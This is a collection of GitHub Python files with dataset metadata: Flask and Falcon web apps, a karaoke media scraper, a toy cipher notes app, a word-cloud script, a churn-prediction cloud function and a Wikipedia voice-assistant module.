jsonify(user.to_dict())\n\n\n@app.teardown_appcontext\ndef close_db(error):\n    \"\"\"Close Storage\"\"\"\n    storage.close()\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=\"5000\", debug=True)\n", "repo_name": "Henree001/hng", "sub_path": "api_endpoint/myapp.py", "file_name": "myapp.py", "file_ext": "py", "file_size_in_byte": 2151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "models.user.User", "line_number": 38, "usage_type": "call"}, {"api_name": "models.storage.save", "line_number": 39, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 40, "usage_type": "call"}, {"api_name": "models.storage.get_details", "line_number": 46, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "models.storage.get_details", "line_number": 55, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 57, "usage_type": "call"}, {"api_name": "models.storage.delete", "line_number": 58, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "models.storage.get_details", "line_number": 68, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 68, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 70, "usage_type": "call"}, {"api_name": "models.storage.save", "line_number": 74, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 75, "usage_type": "call"}, {"api_name": "models.storage.close", "line_number": 81, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 81, "usage_type": "name"}]}
{"seq_id": "27703725476", "text": "import os\nimport pickle\nimport requests\n\n# Karaoke Mugen repository to scrape from\nkara_list_url = \"https://kara.moe/api/karas/\"\nmedia_download_url = \"https://kara.moe/downloads/medias/{mediafile}\"\nkara_bundle_url = \"https://kara.moe/api/karas/{kid}/raw\"\n\n# Language to scrape\nlanguage = \"jpn\"\n# Sub filetype to scrape for\nsub_file = \".ass\"\n\n# Audio bitrate & sample rate\nbitrate = 24000\nrate = 12000\n\n# Location to save\nsave_location = \"./data/ass/\"\n\n# ffmpeg command\nffmpeg = \"ffmpeg -i {input} -ac 1 -ab {bitrate} -ar {rate} -y -vn {output}.mp3\"\n\n\n# Open the karaoke list\nkara_list = requests.get(kara_list_url)\n# We only care about the content, so ignore everything else\nkara_list = kara_list.json()['content']\n\n# Filter to only the language\nkara_list = filter(lambda kara: len(kara['langs']) == 1 and kara['langs'][0]['name'] == language, kara_list)\n\n# Filter to the filetype\nkara_list = list(filter(lambda kara: str(kara['subfile']).endswith(sub_file), kara_list))\n\n# Get the mediafile and the kid\nmediafiles = list(map(lambda kara: kara['mediafile'], kara_list))\nkids = list(map(lambda kara: kara['kid'], kara_list))\n\n# For progress\nsize = len(mediafiles)\ni = 1\n\n# to download in reverse\n# mediafiles.reverse()\n# kids.reverse()\n# otherwise zip\neverything = zip(mediafiles, kids)\n\n# Save the processed list\nwith open(save_location + \"../ass.pickle\", 'wb') as f:\n    # store the data as binary data stream\n    pickle.dump(everything, f)\n\n# Start processing everything\nfor (mediafile, kid) in everything:\n    if os.path.exists(save_location + kid + \".mp3\"):\n        # Skip if the file is already downloaded\n        i = i + 1\n        continue\n    print(\"Downloading\", i, \"of\", size, \"...\", mediafile)\n    # Get metadata for lyrics\n    metadata = requests.get(kara_bundle_url.format(kid=kid))\n    # Get the lyrics\n    lyrics = metadata.json()['lyrics']['data']\n\n    # Save the lyrics to the appropriate file\n    with open(save_location + kid + sub_file, 'wb') as f:\n        f.write(bytes(lyrics, 'utf-8'))\n\n    # Save the video\n    video_name = requests.utils.quote(mediafile, safe='~()*!.\\'')\n    video = requests.get(media_download_url.format(mediafile=video_name))\n    with open(save_location + video_name, 'wb') as f:\n        f.write(video.content)\n\n    # re-encode\n    os.system(ffmpeg.format(input=save_location+video_name, output=save_location+kid, rate=rate, bitrate=bitrate))\n    os.remove(save_location+video_name)\n\n    # update progress\n    i = i + 1\n\nprint(\"done!\")\n", "repo_name": "42aruaour/KaraokeSync", "sub_path": "kara_moe_scraper.py", "file_name": "kara_moe_scraper.py", "file_ext": "py", "file_size_in_byte": 2480, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.utils.quote", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 73, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "os.system", "line_number": 79, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "5746379895", "text": "import datetime\r\nimport glob\r\n\r\ndt = datetime.datetime.now()\r\ncode = ['!','@','#','$','%','^','&','*','(',')','-','+','=',';',':','`','~','?','/','<','>','1','2','3','4','5',\r\n        'A','E','I','O','U','a','e','i','o','u','D','M','N','G','Z','d','m','n','g','z','R','W']\r\nalphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\r\n            '1','2','3','4','5','6','7','8','9','0','.','?','!','/','\\'',':','-','(',')',',','@','_']\r\nfiles = []\r\nfiles = [f for f in glob.glob('*.txt', recursive=True)]\r\nlogin = False\r\nattempts = 5\r\ndeb = []\r\n\r\n\r\nwhile login == False:\r\n    print('Password:')\r\n    raw = input('>>>')\r\n    if raw == 'codenotes':\r\n        login = True\r\n    elif attempts == 1:\r\n        print('you are out of attempts')\r\n        print(0/0)\r\n    else:\r\n        attempts -= 1\r\n        print('Incorrect, there are %s attempts left' % attempts)\r\n\r\nprint('Welcome to Code Notes alpha v1')\r\ndef coded(inp):\r\n    message = []\r\n    word = []\r\n    usr = inp.split(' ')\r\n    for i in usr:\r\n        usrword = list(i)\r\n        for i in usrword:\r\n            if i in alphabet:\r\n                cindex = alphabet.index(i)\r\n                word.append(str(cindex))\r\n            elif i == ' ':\r\n                word.append('27')\r\n        message.append('.'.join(word))\r\n        word.clear()\r\n    fmessage = '|'.join(message)\r\n    return fmessage\r\n\r\ndef decoded(inp):\r\n    message = []\r\n    usr = inp.split('.')\r\n    for i in usr:\r\n        try:\r\n            if i == 27:\r\n                message.append(' ')\r\n            else:\r\n                message.append(alphabet[int(i)])\r\n        except ValueError:\r\n            pass\r\n    fmessage = ''.join(message)\r\n    return str(fmessage)\r\n\r\ndef write(inp):\r\n    message = []\r\n    word = []\r\n    x = 1\r\n    while x == 1:\r\n        f = open(inp, 'a+')\r\n        raw = input('Writer>>>').lower()\r\n        usr = raw.split(' ')\r\n        if len(usr) == 1 and usr[0] == 'done':\r\n            print('Finished!')\r\n            f.close()\r\n            break\r\n        else:\r\n            for i in usr:\r\n                usrword = list(i)\r\n                for i in usrword:\r\n                    if i in alphabet:\r\n                        cindex = alphabet.index(i)\r\n                        word.append(code[cindex])\r\n                message.append(''.join(word))\r\n                word.clear()\r\n            fmessage = '|'.join(message)\r\n            message.clear()\r\n            f.write(fmessage + 'T')\r\n    f.close()\r\n\r\ndef create(inp):\r\n    c = open(inp, 'w+')\r\n    c.close()\r\n    y = 1\r\n    files = [f for f in glob.glob('*.txt', recursive=True)]\r\n    print('Files:')\r\n    for f in files:\r\n        print('%d)%s' % (y, f))\r\n        y += 1\r\n\r\ndef read(inp):\r\n    message = []\r\n    word = []\r\n    r = open(inp, 'r')\r\n    text = r.read().split('|')\r\n    for i in text:\r\n        textword = list(i)\r\n        for i in textword:\r\n            if i in code:\r\n                cindex = code.index(i)\r\n                word.append(alphabet[cindex])\r\n            elif i == 'T':\r\n                word.append('\\n')\r\n        message.append(''.join(word))\r\n        word.clear()\r\n    fmessage = ' '.join(message)\r\n    if fmessage == '':\r\n        print('[Empty Document]')\r\n    else:\r\n        print(fmessage)\r\n    r.close()\r\n\r\ny = 1\r\nfor f in files:\r\n    dcd = decoded(f[:-4])\r\n    print('%d) %s.txt' % (y, dcd))\r\n    y += 1\r\n\r\nfname = []\r\nx = 1\r\nwhile x == 1:\r\n    raw = input('>>>').lower()\r\n    usr = raw.split(' ')\r\n    if len(usr) >= 2:\r\n        fname = ('%s.txt' % coded(usr[1]))\r\n    if usr[0] == 'write':\r\n        if fname in files:\r\n            print('Writing in: %s' % fname)\r\n            read(fname)\r\n            write(fname)\r\n        else:\r\n            print('File not found, creating file: %s' % fname)\r\n            write(fname)\r\n    elif usr[0] == 'help':\r\n        print('commands:\\n write [file]\\tread [file]\\nlist')\r\n    elif usr[0] == 'read':\r\n        if fname in files:\r\n            dcd = decoded(fname[:-4])\r\n            print('Now Reading %s' % dcd)\r\n            read(fname)\r\n        else:\r\n            print('File not found')\r\n    elif usr[0] == 'clear':\r\n        if fname in files:\r\n            w = open(fname, 'w')\r\n            w.write('')\r\n            w.close()\r\n        else:\r\n            print('File not found')\r\n    elif usr[0] == 'list':\r\n        y = 1\r\n        files = [f for f in glob.glob('*.txt', recursive=True)]\r\n        print('Files:')\r\n        for f in files:\r\n            dcd = decoded(f[:-4])\r\n            print('%d) %s.txt' % (y, dcd))\r\n", "repo_name": "irondomi/CodedNotes", "sub_path": "CodeNotes v1.py", "file_name": "CodeNotes v1.py", "file_ext": "py", "file_size_in_byte": 4537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 4, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 10, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 90, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 157, "usage_type": "call"}]}
{"seq_id": "6204285152", "text": "import falcon\n\nfrom kanaria.server.email_util import Email\nfrom kanaria.core.agent import Agent\n\n\nclass IndexResource(object):\n\n    def on_get(self, req, resp):\n        import json\n        msg = {\n            \"message\": \"kanaria works well.\"\n        }\n        resp.body = json.dumps(msg)\n\n\nclass KanariaResource(object):\n\n    def on_post(self, req, resp):\n        email = Email()\n        letter = email.get_letter(req)\n        agent = Agent()\n        reply = agent.accept(letter)\n        if reply:\n            print(\"subject %s\" % reply.subject)\n            print(\"body    %s\" % reply.body)\n            print(reply.from_address)\n            print(reply.to_addresses)\n            email.send(subject=reply.subject,\n                       text=reply.body,\n                       from_address=reply.from_address,\n                       to_addresses=reply.to_addresses)\n\n\napp = falcon.API()\napp.add_route(\"/\", IndexResource())\napp.add_route(\"/kanaria\", KanariaResource())\n\n\nif __name__ == \"__main__\":\n    from wsgiref import simple_server\n    httpd = simple_server.make_server(\"0.0.0.0\", 8000, app)\n    httpd.serve_forever()", "repo_name": "icoxfog417/kanaria", "sub_path": "kanaria/server/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.dumps", "line_number": 14, "usage_type": "call"}, {"api_name": "kanaria.server.email_util.Email", "line_number": 20, "usage_type": "call"}, {"api_name": "kanaria.core.agent.Agent", "line_number": 22, "usage_type": "call"}, {"api_name": "falcon.API", "line_number": 35, "usage_type": "call"}, {"api_name": "wsgiref.simple_server.make_server", "line_number": 42, "usage_type": "call"}, {"api_name": "wsgiref.simple_server", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "11025090730", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 10 19:17:58 2020\r\n\r\n@author: SOPHIE\r\n\"\"\"\r\nfrom wordcloud import WordCloud\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport numpy as np\r\nfrom lxml import etree\r\nfrom nltk.tokenize import word_tokenize\r\n\r\n#导入数据\r\ndata = pd.read_csv('Market_Basket_Optimisation.csv',header=None)\r\n\r\ntrainsaction = []\r\nfor i in range(0,data.shape[0]):\r\n    temp = []\r\n    for j in range(0,data.shape[1]):\r\n        item = str(data.values[i,j])\r\n        if item!='nan':\r\n            temp.append(item)\r\n    trainsaction.append(temp)\r\n\r\n# 生成词云\r\ndef create_word_cloud(f):\r\n\tprint('根据词频，开始生成词云!')\r\n\tcut_text = word_tokenize(f)\r\n\tcut_text = \" \".join(cut_text)\r\n\twc = WordCloud(\r\n\t\tmax_words=100,\r\n\t\twidth=2000,\r\n\t\theight=1200,\r\n    )\r\n\twordcloud = wc.generate(cut_text)\r\n\t# 写词云图片\r\n\twordcloud.to_file(\"wordcloud.jpg\")\r\n\t# 显示词云文件\r\n\tplt.imshow(wordcloud)\r\n\tplt.axis(\"off\")\r\n\tplt.show()\r\n    \r\nall_word = ' '.join('%s' %item for item in trainsaction)\r\n# 生成词云\r\ncreate_word_cloud(all_word)\r\n", "repo_name": "xiaozhe26/EK_Data_Engine", "sub_path": "Week5.py", "file_name": "Week5.py", "file_ext": "py", "file_size_in_byte": 1109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 30, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 32, "usage_type": "call"}, {"api_name": "wordcloud.to_file", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "4679808440", "text": "from flask import render_template, url_for, request, redirect\nfrom src import app, db\nfrom src.models import Article\n\n\n@app.route('/')\n@app.route('/home')\ndef index():\n    return render_template('index.html')\n\n\n# /about\n@app.route('/about')\ndef about():\n    return render_template('about.html')\n\n\n# /posts\n@app.route('/posts')\ndef posts():\n    articles = Article.query.order_by(Article.day.desc()).all()\n    return render_template('posts.html', articles=articles)\n\n\n# /posts/id\n@app.route('/posts/')\ndef post_detail(id):\n    article = Article.query.get(id)\n    return render_template('post_detail.html', article=article)\n\n\n# /posts/id/delete\n@app.route('/posts//delete')\ndef post_delete(id):\n    article = Article.query.get_or_404(id)\n    try:\n        db.session.delete(article)\n        db.session.commit()\n        return redirect('/posts')\n    except:\n        return \"При удалении статьи произошла ошибка\"\n\n\n# /posts/id/update\n@app.route('/posts//update', methods=['POST', 'GET'])\ndef post_update(id):\n    article = Article.query.get(id)\n    if request.method == \"POST\":\n        # Reading data to DB from page, if we've received POST request\n        article.title = request.form['title']\n        article.intro = request.form['intro']\n        article.text = request.form['text']\n        try:\n            db.session.commit()\n            # Redirecting after updating page\n            return redirect('/posts')\n        except:\n            return \"При редактировании статьи произошла ошибка\"\n    else:\n        return render_template('post_update.html', article=article)\n\n\n# /create-article\n@app.route('/create-article', methods=['POST', 'GET'])\ndef create_article():\n    if request.method == \"POST\":\n        # POST request handling\n        title = request.form['title']\n        intro = request.form['intro']\n        text = request.form['text']\n\n        article = Article(title=title, intro=intro, text=text)\n\n        try:\n            db.session.add(article)\n            db.session.commit()\n            # Redirecting after adding data to the Database\n            return redirect('/posts')\n        except:\n            return \"При добавлении статьи произошла ошибка\"\n    else:\n        return render_template('create-article.html')\n", "repo_name": "ravil99/simple-flask-website", "sub_path": "src/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 2352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.render_template", "line_number": 9, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 6, "usage_type": "call"}, {"api_name": "src.app", "line_number": 6, "usage_type": "name"}, {"api_name": "src.app.route", "line_number": 7, "usage_type": "call"}, {"api_name": "src.app", "line_number": 7, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 13, "usage_type": "call"}, {"api_name": "src.app", "line_number": 13, "usage_type": "name"}, {"api_name": "src.models.Article.query.order_by", "line_number": 21, "usage_type": "call"}, {"api_name": "src.models.Article.query", "line_number": 21, "usage_type": "attribute"}, {"api_name": "src.models.Article", "line_number": 21, "usage_type": "name"}, {"api_name": "src.models.Article.day.desc", "line_number": 21, "usage_type": "call"}, {"api_name": "src.models.Article.day", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 22, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 19, "usage_type": "call"}, {"api_name": "src.app", "line_number": 19, "usage_type": "name"}, {"api_name": "src.models.Article.query.get", "line_number": 28, "usage_type": "call"}, {"api_name": "src.models.Article.query", "line_number": 28, "usage_type": "attribute"}, {"api_name": "src.models.Article", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 26, "usage_type": "call"}, {"api_name": "src.app", "line_number": 26, "usage_type": "name"}, {"api_name": "src.models.Article.query.get_or_404", "line_number": 35, "usage_type": "call"}, {"api_name": "src.models.Article.query", "line_number": 35, "usage_type": "attribute"}, {"api_name": "src.models.Article", "line_number": 35, "usage_type": "name"}, {"api_name": "src.db.session.delete", "line_number": 37, "usage_type": "call"}, {"api_name": "src.db.session", "line_number": 37, "usage_type": "attribute"}, {"api_name": "src.db", "line_number": 37, "usage_type": "name"}, {"api_name": "src.db.session.commit", "line_number": 38, "usage_type": "call"}, {"api_name": "src.db.session", "line_number": 38, "usage_type": "attribute"}, {"api_name": "src.db", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 39, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 33, "usage_type": "call"}, {"api_name": "src.app", "line_number": 33, "usage_type": "name"}, {"api_name": "src.models.Article.query.get", "line_number": 47, "usage_type": "call"}, {"api_name": "src.models.Article.query", "line_number": 47, "usage_type": "attribute"}, {"api_name": "src.models.Article", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 50, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "src.db.session.commit", "line_number": 54, "usage_type": "call"}, {"api_name": "src.db.session", "line_number": 54, "usage_type": "attribute"}, {"api_name": "src.db", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 60, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 45, "usage_type": "call"}, {"api_name": "src.app", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 68, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 70, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 70, "usage_type": "name"}, {"api_name": "src.models.Article", "line_number": 72, "usage_type": "call"}, {"api_name": "src.db.session.add", "line_number": 75, "usage_type": "call"}, {"api_name": "src.db.session", "line_number": 75, "usage_type": "attribute"}, {"api_name": "src.db", "line_number": 75, "usage_type": "name"}, {"api_name": "src.db.session.commit", "line_number": 76, "usage_type": "call"}, {"api_name": "src.db.session", "line_number": 76, "usage_type": "attribute"}, {"api_name": "src.db", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 82, "usage_type": "call"}, {"api_name": "src.app.route", "line_number": 64, "usage_type": "call"}, {"api_name": "src.app", "line_number": 64, "usage_type": "name"}]}
{"seq_id": "34351156640", "text": "import base64\nimport json\nimport os\nimport pickle\nimport sys\n\nimport pandas as pd\nimport xgboost as xgb\nfrom dotenv import load_dotenv\nfrom google.cloud import storage\n\nload_dotenv()\n\nPROJECT_ID = os.getenv(\"PROJECT_ID\")\nMODEL_BUCKET = os.getenv(\"MODEL_BUCKET\")\nDATA_BUCKET = os.getenv(\"DATA_BUCKET\")\n\n\ncategorical = [\n    \"Gender\",\n    \"Zip Code\",\n    \"Offer\",\n    \"Contract\",\n    \"Phone Service\",\n    \"Internet Service\",\n    \"Paperless Billing\",\n    \"Payment Method\",\n]\nnumerical = [\n    \"Age\",\n    \"Number of Dependents\",\n    \"Number of Referrals\",\n    \"Tenure in Months\",\n    \"Monthly Charge\",\n    \"Total Charges\",\n    \"Total Refunds\",\n    \"Total Extra Data Charges\",\n    \"Total Revenue\",\n]\ntarget = \"client_churned\"\n\n\ndef download_files():\n    \"\"\"\n    Download Files from GS Bucket\"\"\"\n    storage_client = storage.Client()\n    storage_client_data = storage.Client()\n\n    model_bucket = storage_client.bucket(MODEL_BUCKET)\n    data_bucket = storage_client_data.bucket(DATA_BUCKET)\n\n    preprocessors_blob = model_bucket.blob(\"preprocessors.pkl\")\n    model_blob = model_bucket.blob(\"model.xgb\")\n\n    preprocessors_blob.download_to_filename(\"/tmp/preprocessors.pkl\")\n    model_blob.download_to_filename(\"/tmp/model.xgb\")\n\n    data_blob = data_bucket.blob(\"future.csv\")\n    data_blob.download_to_filename(\"/tmp/future.csv\")\n\n\ndef upload_output():\n\n    storage_client = storage.Client()\n    bucket = storage_client.bucket(DATA_BUCKET)\n    blob = bucket.blob(\"prediction.csv\")\n\n    blob.upload_from_filename(\"/tmp/prediction.csv\")\n\n\ndef read_data():\n    df = pd.read_csv(\"/tmp/future.csv\")\n    return df\n\n\ndef predict_binary(probs):\n    return (probs >= 0.5).astype(\"bool\")\n\n\ndef preprocess_data(df):\n    with open(\"/tmp/preprocessors.pkl\", \"rb\") as file:\n        (dv, scaler) = pickle.load(file)\n\n    df = df.copy()\n    df.drop(\"Customer ID\", axis=1, inplace=True)\n    target_vec = df[target]\n    df.drop(target, axis=1, inplace=True)\n    df[categorical] = df[categorical].astype(\"str\")\n    df[numerical] = scaler.transform(df[numerical])\n    df_dict = df.to_dict(orient=\"records\")\n    X = dv.transform(df_dict)\n    return X\n\n\ndef predict(X):\n\n    booster = xgb.Booster({\"verbosity\": 0})\n    booster.load_model(\"/tmp/model.xgb\")\n\n    X_DMatrix = xgb.DMatrix(X)\n    return predict_binary(booster.predict(X_DMatrix))\n\n\ndef endpoint(event, context):\n    \"\"\"\n    Main function to be exported.\n    Takes the event and outputs the prediction and sends it to the Pull stream\"\"\"\n    # ride = base64.b64decode(event[\"data\"]).decode(\"utf-8\")\n    # ride = json.loads(ride)\n    if event[\"data\"] != \"debug\":\n        download_files()\n\n    df = read_data()\n    X = preprocess_data(df)\n    preds = predict(X)\n    df[\"churn_prediction\"] = preds\n    df.to_csv(\"/tmp/prediction.csv\")\n    if event[\"data\"] != \"debug\":\n        upload_output()\n", "repo_name": "Qfl3x/mlops-zoomcamp-project", "sub_path": "function/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2822, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "google.cloud.storage.Client", "line_number": 46, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 46, "usage_type": "name"}, {"api_name": "google.cloud.storage.Client", "line_number": 47, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 47, "usage_type": "name"}, {"api_name": "google.cloud.storage.Client", "line_number": 64, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 64, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 82, "usage_type": "call"}, {"api_name": "xgboost.Booster", "line_number": 97, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 100, "usage_type": "call"}]}
{"seq_id": "71433434151", "text": "from .. import config\r\nfrom .. import utils\r\nimport wikipedia\r\nimport signal\r\nimport sys\r\n\r\n\r\ndef on_message(mqtt_client, message):\r\n    text = message.payload.decode('utf-8')\r\n\r\n    if text == 'search_wiki':\r\n        utils.read_aloud(mqtt_client, 'podaj hasło, które chcesz wyszukać na wikipedii', config.WEB_TOPIC)\r\n    elif text == config.TTS_FINISHED:\r\n        mqtt_client.publish(config.GPIO_TOPIC, config.GPIO_LED_ON)\r\n        mqtt_client.publish(config.STT_TOPIC, config.WEB_TOPIC)\r\n    else:\r\n        if wikipedia.suggest(text) is not None:\r\n            text = wikipedia.suggest(text)\r\n\r\n        try:\r\n            summary = wikipedia.summary(text, sentences=2)\r\n            utils.read_aloud(mqtt_client, f'jak podaje wikipedia, {summary}')\r\n        except wikipedia.exceptions.DisambiguationError as e:\r\n            summary = wikipedia.summary(e.options[0], sentences=2)\r\n            utils.read_aloud(mqtt_client, f'jak podaje wikipedia, {summary}')\r\n        except wikipedia.exceptions.PageError:\r\n            utils.read_aloud(mqtt_client, 'przepraszam, nie mogę znaleźć informacji na ten temat')\r\n\r\n\r\ndef main():\r\n    ip, port = utils.get_connection_args(sys.argv)\r\n    wikipedia.set_lang('pl')\r\n    utils.setup_mqtt('web', ip, port, on_message)\r\n    signal.pause()\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n", "repo_name": "m-wojnar/AssistantPL", "sub_path": "assistant/assistant_web/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 1327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "wikipedia.suggest", "line_number": 17, "usage_type": "call"}, {"api_name": "wikipedia.suggest", "line_number": 18, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 21, "usage_type": "call"}, {"api_name": "wikipedia.exceptions", "line_number": 23, "usage_type": "attribute"}, {"api_name": "wikipedia.summary", "line_number": 24, "usage_type": "call"}, {"api_name": "wikipedia.exceptions", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wikipedia.set_lang", "line_number": 32, "usage_type": "call"}, {"api_name": "signal.pause", "line_number": 34, "usage_type": "call"}]}
